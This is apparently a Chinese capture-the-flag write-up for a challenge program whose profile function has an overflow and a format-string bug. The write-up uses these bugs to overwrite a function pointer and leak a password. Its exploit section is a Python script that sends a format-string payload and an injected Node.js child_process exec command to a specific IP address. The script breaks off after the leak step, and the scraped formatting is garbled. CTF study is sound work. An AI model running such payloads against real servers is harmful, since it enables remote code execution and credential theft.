点击此处获得更好的阅读体验
解题思路
题目分析
程序存在一个结构体用于保存信息记录
1 2 3 4 5 6 7
| C struct { char *username; int password; char *introduction; void (*state)(const char *); } record;
|
先说三个函数逻辑registered()
用于初始化record结构体,profile()
用于打印username
和introduction
,login()
用于验证username和password并通过state函数指针返回登录成功或失败的状态信息因为程序存在Z_envZ__emen_run_Z_vi
只需要改变state
即可,但是如果成功调用,还需要泄露出password
其中profile()
存在一个溢出漏洞和一个格式化字符串漏洞,通过溢出,我们可以控制任意写的地址,然后再leak出password即可,许多payload的细节可以调试知道
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import requests url = 'http://47.104.89.129:23333/' registered = url + 'registered' profile = url + 'profile' login = url + 'login' username = 'username' password = 'password' introduction = 'introduction' payload = '' payload += 'A'*7 payload += ''' const exec=require("child_process").exec; exec("cat flag", function(error,stdout,stderr){process.stdout.write(stdout);}); '''.ljust(0x7f, ' ') payload += '//\x3C\x0D\x00' params = { username: '%2$0141d%1$n', introduction: payload } requests.get(registered, params=params) req = requests.get(profile) passwd = req.text.lstrip('Welcome, ').rstrip('Your introduction: AAAAAAA')
|